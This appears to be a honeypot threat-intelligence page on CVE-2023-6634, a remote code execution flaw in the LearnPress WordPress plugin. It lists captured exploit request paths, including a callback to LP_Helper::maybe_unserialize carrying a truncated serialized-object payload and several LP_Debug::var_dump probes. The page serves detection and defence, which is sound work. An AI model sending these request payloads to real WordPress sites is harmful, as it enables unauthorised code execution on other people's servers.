CVE-2023-6634: LearnPress < 4.2.5.8 - Remote Code Execution

HoneyLabs honeypots recorded 6 probes matching CVE-2023-6634 from 1 distinct source IP address in the last 7 days. Severity is rated critical.

Request paths that identify it

• /wp-json/lp/v1/load_content_via_ajax/?callback={%22class%22:%22LP_Helper%22,%22method%22:%22maybe_unserialize%22}&args="…
• /wp-json/lp/v1/load_content_via_ajax/?callback={"class"%3a"LP_Debug","method"%3a"var_dump"}&args="{{*}}"
• /wp-json/lp/v1/load_content_via_ajax/?callback={"class":"LP_Helper","method":"maybe_unserialize"}&args="O%3a8%3a\u0022WP…

Addresses probing it

Networks it comes from

Where it comes from

Captured requests

• /wp-json/lp/v1/load_content_via_ajax/?callback={"class"%3a"LP_Debug","method"%3a"var_dump"}&args="3KSZIt8yzxUoNnQ5SFT9VTut0vs"
• /wp-json/lp/v1/load_content_via_ajax/?callback={"class"%3a"LP_Debug","method"%3a"var_dump"}&args="3Kht1Nkcj2e180pWqBv87tDAAGC"
• /wp-json/lp/v1/load_content_via_ajax/?callback={"class"%3a"LP_Debug","method"%3a"var_dump"}&args="3KVZrH9ABFiSsGOm6Wen7UwoKVe"
• /wp-json/lp/v1/load_content_via_ajax/?callback={"class"%3a"LP_Debug","method"%3a"var_dump"}&args="3KenfGy9kVPZCSfF2F8DSr4MVYq"

HTTP client fingerprints

• b11cun040_00040013_608dab68